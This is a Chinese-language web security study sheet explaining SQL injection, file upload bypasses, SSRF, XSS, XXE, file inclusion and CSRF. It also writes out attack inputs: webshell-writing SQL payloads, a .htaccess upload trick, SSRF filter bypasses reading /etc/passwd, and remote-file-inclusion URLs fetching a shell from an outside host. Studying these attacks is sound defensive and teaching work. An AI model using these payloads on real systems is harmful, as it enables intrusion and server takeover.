网络安全基础速通(web方向)
一级目录
二级目录
三级目录
SQL注入
1.SQL注⼊原理
服务端没有过滤⽤户输⼊的恶意数据,直接把⽤户输⼊的数据当做SQL语句执⾏,从⽽影响数据库安全和平台安全。
两个条件
⽤户能够控制输⼊
原本程序要执⾏的SQL语句,拼接了⽤户输⼊的恶意数据
2.sql注入分类
从注⼊参数类型分:数字型注⼊、字符型注⼊、搜索型注⼊
从注⼊⽅法分:基于报错、基于布尔盲注、基于时间盲注、联合查询、堆叠注⼊、内联查询注⼊、宽字节注⼊
从提交⽅式分:GET注⼊、POST注⼊、COOKIE注⼊、HTTP头注⼊
3.post型注入如何使用sqlmap跑:
1、Burp抓包,为了方便在Sqlmap文件夹里创建文档1.txt然后把数据存放在里面;
2、sqlmap.py -r 1.txt
4.sqlmap的-os-shell的前提条件有哪些:
1、网站必须是root权限
2、攻击者需要知道网站的绝对路径
3、GPC为off, php主动转义的功能关闭
5.SQL注入绕过安全狗常用的方式:
1、内联注释
2、参数污染
3、URL+16进制编码绕过
6.sql注入之文件读写
- secure_file_priv 函数的默认配置为 null
- 用来限制 load_file()、into outfile、into dumpfile 函数在哪个目录下拥有
上传或者读取
文件的权限
7.WAF原理
WAF是Web应⽤防⽕墙(Web Application Firewall)的简称,对来⾃Web应⽤程序客户端的各类请求进⾏内容检测和验证,确保其安全
性与合法性,对⾮法的请求予以实时阻断,为Web应⽤提供防护,也称作应⽤防⽕墙,是⽹络安全纵深防御体系⾥重要的⼀环。WAF属于
检测型及纠正型防御控制措施。WAF分为硬件WAF、软件WAF(ModSecurity)和代码级WAF。
WAF对请求的内容进⾏规则匹配、⾏为分析等识别出恶意⾏为,并执⾏相关动作,这些动作包括阻断、记录、告警等。
WAF⼯作在web服务器之前,对基于HTTP协议的通信进⾏检测和识别。通俗的说,WAF类似于地铁站的安检,对于HTTP请求进⾏快速安全检查,通过解析HTTP数据,在不同的字段分别在特征、规则等维度进⾏判断,判断的结果作为是否拦截的依据从⽽决定是否放⾏。
8.SQL注入的过程
①通过检查Web页⽽上存在的SQL注⼊漏洞,构建特殊的SQL注⼊点;
②其次通过这些特殊的注⼊点利⽤Web页⽽动态传递参数的功能,将SQL的语法组合动态传递给数据库;
③然后根据数据库的不同类型,对数据库采取不同的处理;
④最后执⾏SQL语句,从⽽达到攻击者想要的⽬的。
报错注⼊的函数有哪⼏个
-
updatexml()函数
-
extractvalue()函数
-
floor()函数
-
Exp()函数
1,避免使用被阻止的字符,即不使用这些字符仍然达到攻击目的。
A,如果注⼊⼀个数字数据字段,就不需要使⽤单引号。
B,输⼊注释符号被阻⽌使⽤,我们可以设计注⼊的数据,既不破坏周围的查询语法。
⽬的其实很简单,就是把后⾯的单引号给闭合掉。
C,在⼀个MSSQL注⼊中注⼊批量查询的时候,不必使⽤分号分隔符。
2,只要纠正所有批量查询的语法,无论你是否使用分号,查询的解析器依然能正确的去解释它们的。
使⽤SQL注释符
A,使⽤注释来冒充注⼊的数据中的空格。
select/alocne/username,password/alocne/from/alocne/admin
/alocne/来冒充空格
B,使⽤注释来避开某些注⼊的确认过滤。
SEL/alocne/ECT username,password fr/alocne/om admin
mysql的⽹站注⼊,5.0以上和5.0以下有什么区别?
从sql注⼊的⾓度来说,mysql5.0以下版本没有information_schema这个系统库,⽆法列出表名列名,只能暴⼒跑
UDF提权原理?
mysql⽀持⽤户⾃定义函数,将含有⾃定义函数的dll放⼊特定的⽂件夹,声明引⼊dll中的执⾏函数,使⽤执⾏函数执⾏系统命令
SQL注⼊写shell的条件,⽤法
条件:
当前⽤户具有dba权限
找到⽹站绝对路径
⽹站有可写⽬录
mysql的配置secure_file_priv为空
⽤法:
mysql:
id=1’ and 1=2 union select 1,2,‘shell内容’ into outfile “绝对路径\shell.php” %23
sqlserver:
id=1’;EXEC master…xp_cmdshell ‘echo “shell内容” > 绝对路径\shell.asp’ –
盲注是什么?怎么盲注?
盲注是在 SQL 注⼊攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在 SQL 注⼊和利⽤的⽅式。
盲注的⼿段有两种,
⼀个是通过⻚⾯的返回内容是否正确 (boolean-based),来验证是否存在注⼊。
⼀个是通过 sql 语句处理时间的不同来判断是否存在注⼊ (time-based),在这⾥,可以⽤ benchmark,sleep 等造成延时效果的函数,也
可以通过构造⼤笛卡⼉积的联合查询表来达到延时的⽬的。
文件上传
类型:
1.无限制:
(1)直接用1.php放一句话木马上传
2.绕过前端:
(1)Javascript绕过:
- 浏览器设置中选择禁用javascript即可
(2)抓包修改:
- burpsuite抓包后修改filename
3.绕过后端黑名单:
(1)换后缀名绕过黑名单:
- 例如:不允许php,jsp文件上传,则使用1.php3,1.php5等上传
(2)双写绕过
- 如果禁止php文件上传,把文件名改成1.phphpp即可,其中中间的php过滤掉后仍可成功上传
(3)用.htaccess绕过(只适用于apache)
原理:
.htaccess 全称是 Hypertext Access(超文本入口)。htaccess 文件也被叫做分布式配置文件,是 Apache 特有的针对目录改变配置的方法。通过在一个特定的文档目录中放置一个包含一个活多个指令的文件,以作用于此目录及其所有子目录。该文件可以针对不同的目录用不同的策略。
**一般后端的黑名单不会过滤把 .htaccess 后缀写进去,那么就先上传一个 .htaccess 文件上去,提前设置好让它把 .jpg 文件当做 php 文件来解析,这样后续只需要上传 .jpg **
- .htaccess是apache配置文件,提供自定法则让服务器运行,例如如下1.htaccess文件,上传后再上传1.png即可获得webshell
第一步:上传内容如下后缀名为 .htaccess 的文件
<FilesMatch "test.jpg"> // 写入等会儿上传的图片名字
SetHandler application/x-httpd-php // 让上传后的图片执行 php 代码
</FilesMatch>
第二步:上传 test.jpg
test.jpg 内容为:
<?php phpinfo();?>
(4)大小写绕过后缀名检测
原理:
对于老版本的 web 容器,是区分大小写的,所以这种方法支队 web 容器非常古老的版本有效。在解析的时候, windows 的文件和文件夹都是不区分大小写的,而 web 容器区分大小写,因此,上传的时候就有可能绕过该 web 容器,从而实现绕过后缀名检测
- 如果禁止php文件上传,把文件名改成pHp,PhP等绕过
(5)::$data 绕过
原理:
windows 特性给文件后缀添加 :: d a t a 后传入进 w i n d o w s 服务器中 : : data 后传入进 windows 服务器中 :: data后传入进windows服务器中::data 会被默认去掉,只有原来的文件名
(6)点绕过
- 如果服务器开启了黑名单过滤,则可采用1.php.的方式(仔细看有两个点)绕过并解析
(7).user.ini上传
使用范围:
nginx/apache/IIS
前提条件:
- 1.必须在该文件夹下有可执行的php文件
- 2.服务器使用CGI/FastCGI模式
第一步:上传 .user.ini
上传内容为:auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样
第二步:上传 a.jpg
上传内容为:小码
//auto_append_file=a.jpg //解析后进行包含
4.绕过后端白名单
(1)MIME绕过:
- MIME通过检查http包的Content-Type字段来判断上传文件是否合法,所以把类型改成允许上传的格式即可
(2)00截断绕过
- 00截断的限制条件:
PHP<5.3.29,且GPC关闭
-
利用解析漏洞,利用00字符截止判断,例如1.php%00.jpg,或者1.php0x00.jpg
-
使用场景:
当文件上传文件时必须包含上传文件的目录情况才可以使用
上传文件为:test.php
如果抓到的包上传的文件为:test.php%00.jpg // 这种情况下就可能不适用
如果抓到的包上传的文件为:uploads/test.php%00.jpg // 这种带目录的就可以很好的使用
(4)文件头欺骗:
- 例如:只允许jpg上传,且文件头必须符合jpg格式。则使用含有jpg文件头的一句话马上传即可
4.其他(主要是懒得归类了)
(1)解析漏洞:
-
apache解析漏洞:
- .apache文件解析规则:文件从右向左判断,后缀名不认识则继续识别,直到寻找到可以识别的文件名,如果都不能识别则暴露源码。
则可以这样定义:1.php.qwe.asd绕过文件识别
IIS解析漏洞:
原理: IIS中建立.asa,.asp文件时,其目录下的所有文件都会被当成asp文件解析
方法:在1.asp文件夹中放个1.txt文件,内容为<%=now()%>,则1.txt文件就会被当成脚本解析 - Nginx解析漏洞
方法:在下面这个链接中,此时1.jpg会被当成1.php解析,但是3.php不存在,则可以在1.jpg中放php木马获得webshell
- .apache文件解析规则:文件从右向左判断,后缀名不认识则继续识别,直到寻找到可以识别的文件名,如果都不能识别则暴露源码。
http://....../1.jpg/3.php
(2)二次渲染绕过
原理:
上传后的图片,服务器会进行二次处理,把图片的内容进行更新,处理完成后根据原有的图片生成一个新的图片
如何判断图片是否进行了二次处理:对比上传前后的图片大小,编辑器打开图片查看上传后保留了哪些数据
- 方法:
1:制作图片码:copy 1.jpg /b + a.php /a 2.jpg // 把a木马写入图片 1 中生成图片 2
2:用编辑器查看木马写入的位置
3:上传图片
4:下载上传后的图片与上传前的图片做对比,在没有变化的地方写入木马,然后在上传
通过 ping 的 TTL 值来判断是什么操作系统
TTL>100 为windows TTL<100 为 linux
# SSRF(服务端请求伪造)
## 原理:
**SSRF全称:Server-Side Request Forgery,即,服务器端请求伪造。是一个由攻击者构造请求,在目标服务端执行的一个安全漏洞。攻击者可以利用该漏洞使服务器端向攻击者构造的任意域发出请求,目标通常是从外网无法访问的内部系统。简单来说就是 *利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网进行攻击。***
## 主要攻击类型:
**当攻击者想要访问服务器B上的服务,但是由于存在防火墙或者服务器B是属于内网主机等原因导致攻击者无法直接访问。如果服务器A存在SSRF漏洞,这时攻击者可以借助服务器A来发起SSRF攻击,通过服务器A向主机B发起请求,达到攻击内网的目的。**
- 钓鱼。
- 对外网、服务器所在内网、本地进行端口、资产发现。
- 读取本地文件。
- 配合其它漏洞攻击内网其它机器。
> 网站维护人员使用PHP函数不当(使用了危险函数:file_get_contents()、fsockopen()、curl_exec())
## SSRF绕过姿势
- **1.“@”符号绕过**
**http://www.baidu.com@10.10.10.10与http://10.10.10.10请求是相同的。**
**该请求得到的内容都是10.10.10.10的内容,此绕过同样在URL跳转绕过中适用。**
**利用的原理:解析URL时的规则问题。**
- **2.短地址绕过:**
> **比如百度短地址https://dwz.cn/**
- **3.进制转换:**
> **127.0.0.1八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433.**
- **4.利用特殊域名:**
> **原理是DNS解析。xip.io可以指向任意域名,即
> 127.0.0.1.xip.io,可解析为127.0.0.1
> (xip.io 现在好像用不了了,可以找找其他的)**
- **5.利用[::]**
> **可以利用[::]来绕过localhost
> http://169.254.169.254>>http://[::169.254.169.254]**
- **6.利用句号:**
> **127。0。0。1 >>> 127.0.0.1**
- **7.CRLF 编码绕过:**
> **%0d->0x0d->\r回车
> %0a->0x0a->\n换行
> 进行HTTP头部注入**
```url
example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a
```
- **8.利用封闭的字母数字**
> **利用Enclosed alphanumerics
> ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
> http://169.254.169.254>>>http://[::①⑥⑨。②⑤④。⑯⑨。②⑤④]
> List:
> ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
> ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
> ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
> ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
> Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
> ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
> ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
> ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿**
## SSRF中URL的伪协议
**当发现SSRF中的伪协议后就是测试所有可用的URL伪协议。**
```shell
file:/// 从文件系统中获取文件内容。 如:http://example.com/ssrf.php?url=file:///etc/passwd
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
```
# XSS
## 1.原理:
**原理:XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性。xss是一种发生在web前端的漏洞,所以其危害的对象也主要是前端用户
**
## 2.XSS攻击的主要途径
**XSS攻击方法只是利用HTML的属性,作各种的尝试,找出注入的方法。现在对三种主要方式进行分析。**
- 1.第一种:对普通的用户输入,页面原样输出,用户通过对JSCODE的伪装,经过一些操作就会跳出一个木马界面,取得登录用户的Cookie.
- 2.第二种:在代码区里有用户输入的内容
原则就是,代码区中,绝对不应含有用户输入的东西。
- 3.第三种:允许用户输入HTML标签的页面。
用户可以提交一些自定义的HTML代码,这种情况是最危险的。因为,IE浏览器默认采用的是UNICODE编码,HTML编码可以用&#ASCII方式来写,又可以使用”/”连接16进制字符串来写,使得过滤变得异常复杂,如下面的四个例子,都可以在IE中运行。
## 3.跨站脚本漏洞常见类型
- **1.反射型XSS:**
<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
- **2.存储型XSS:**
<持久化> 代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。
- **3.DOM型XSS:**
基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。
# XXE(XML外部实体注入)
## 原理:
**XXE(XML External Entity Injection) 全称为 XML 外部实体注入,XML外部实体。(看到这里肯定有人要说:你这不是在废话),固然,其实我这里废话只是想强调我们的利用点是 *外部实体*,也是提醒读者将注意力集中于外部实体中,而不要被 XML 中其他的一些名字相似的东西扰乱了思维(*盯好外部实体就行了*),如果能注入 外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面(这可能就是为什么单独说 而没有说 XML 注入的原因吧,或许普通的 XML 注入真的太鸡肋了,现实中几乎用不到)**
## **重点一:**
**实体分为两种,内部实体和*外部实体*,上面我们举的例子就是内部实体,但是实体实际上可以从外部的 dtd 文件中引用,我们看下面的代码:**
**示例代码:**
```xml
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]><creds><user>&xxe;</user><pass>mypass</pass></creds>这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(**方便永远是安全的敌人**)
```
**当然,还有一种引用方式是使用 引用**公用 DTD**的方法,语法如下:**
```html
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名" “公用DTD的URI">这个在我们的攻击中也可以起到和 SYSTEM 一样的作用
```
## **重点二:**
我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体),别晕。。
**1.通用实体**
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
# 文件包含(RFI&LFI)
## 1,文件包含漏洞简介:
在日常的应用开发中,开发者会将常用的功能模块单独实现,然后通过inclue()等常见函数去单独调用对应功能的文件代码,如果此时文件包含被设置为了一个变量且未对输入的值进行过滤,攻击者恶意输入就会导致文件包含漏洞发生。
## 2,文件包含漏洞原理:
文件包含函数的值被定义为一个变量,可控制的函数变量值和恶意输入导致文件包含漏洞产生,不管什么扩展名的文件,只要被文件函数引用。
## 3,文件包含常用函数:
```php
PHP包含函数:include(),include_once(),require(),require_once(),fopen(),readfile()函数
```
```jsp
JSP/Servlet包含函数:ava.io.file(),java.io.filereader()
```
```asp
ASP包含函数:include file,include virtual
```
#### **常见函数含义:**
**include():包含并运行指定文件,当包含外部文件发生错误时,系统给出告警,但整个PHP文件会继续执行。
require():和include不同的点是,当产生错误的时候,include会继续运行,require()则停止运行
include_once():函数意义和include()基本相同,只是相比include()运行之前会对外部包含的文件进行检测,判断该文件是否被导入,如果执行一遍则不会重复执行了。
require_once():函数和require()含义几乎相同,区别和inclue和include_once区别相同。
PHP配置文件php.ini与文件包含相关:
allow_url_fopen=on/off参数:通过on和off来决定是否可以包含本地文件
allow_url_include=on/off参数:通过on和off来决定是否可以包含远程文件**
## 4,文件包含漏洞利用方式:
#### **本地文件包含:**
- **本地文件包含:文件包含的本质就是执行服务器的文件,只能看服务器的数据和目录不能执行**
**1,相对路径调用文件(…/)
2,伪协议file读取和调用本地文件,伪协议filter://读取本地文件,input://命令执行和代码执行**
**知识:**
```shell
./ 当前目录
../ 返回上一级目录
```
- **playload**
```shell
http://wwww.bbb.com/xxx/?page=c:\\key.txt // 查看 key.txt
http://wwww.bbb.com/xxx/?page=hthttp://tp://10.10.10.10/phpinfo //执行 phpinfo 命令
http://wwww.bbb.com/xxx/?page=..././..././..././key.txt // .../过滤了,可以写成 ..././,过滤后就等于 .../
```
#### **远程文件包含:**
**可以对 url 进行文件包含漏洞可以传入任何代码**
- **利用条件:**
**allow_url_include = On**
**对 allow_url_fopen 不做要求**
- **利用方式:**
**伪协议HTTP,FTP,HTTPS利用**
```shell
?file=http://wwww.bbb.com/shell.txt
?file=https://wwww.bbb.com/shell.txt
?file=ftp://wwww.bbb.com/shell.txt
```
## 5,文件包含漏洞预防&绕过方式:
#### 一:预防一
预防:过滤file,http,https和…/等常见协议和利用方法
绕过:使用多个输入绕过过滤,例如hthttp,ffileile等
#### 二:预防二
预防:使用fnmatch函数对输入的值进行检查,只允许符合的值通过
绕过:使用fnmatch函数允许的值进行绕过
#### 三:预防三
预防:白名单固定,将包含的文件固定,只允许包含的文件通过
绕过:无法绕过
# CSRF(跨站请求伪造)
## 原理:
**CSRF 也称为 XSRF 通过伪装成受信用的用户请求受信任的网站**
## 与XSS的区别
**xss 利用站点内的信任用户,csrf 是伪装成信用用户去请求网站**
## 漏洞挖掘:
- **1.正常抓取数据包,如果没有 Referer 字段和 token 字段,那么极有可能存在 CSRF 漏洞**
- **2.如果有 Referer 字段,但是去掉 Referer 字段后再重新提交,如果还是有效,那么基本上可以确定存在 CSRF 漏洞**
## 挖掘思路:
```url
https://www.jianshu.com/p/05c9c4ee6667
```
## 分类:
- **GET 类型的 CSRF**
- **POST 类型的 CSRF**
## 防御:
- **1.验证码**
- **2.在请求地址中添加 token 并验证**
- **3.在 HTTP 头中自定义属性并验证**
- **4.验证 HTTP Referer 字段**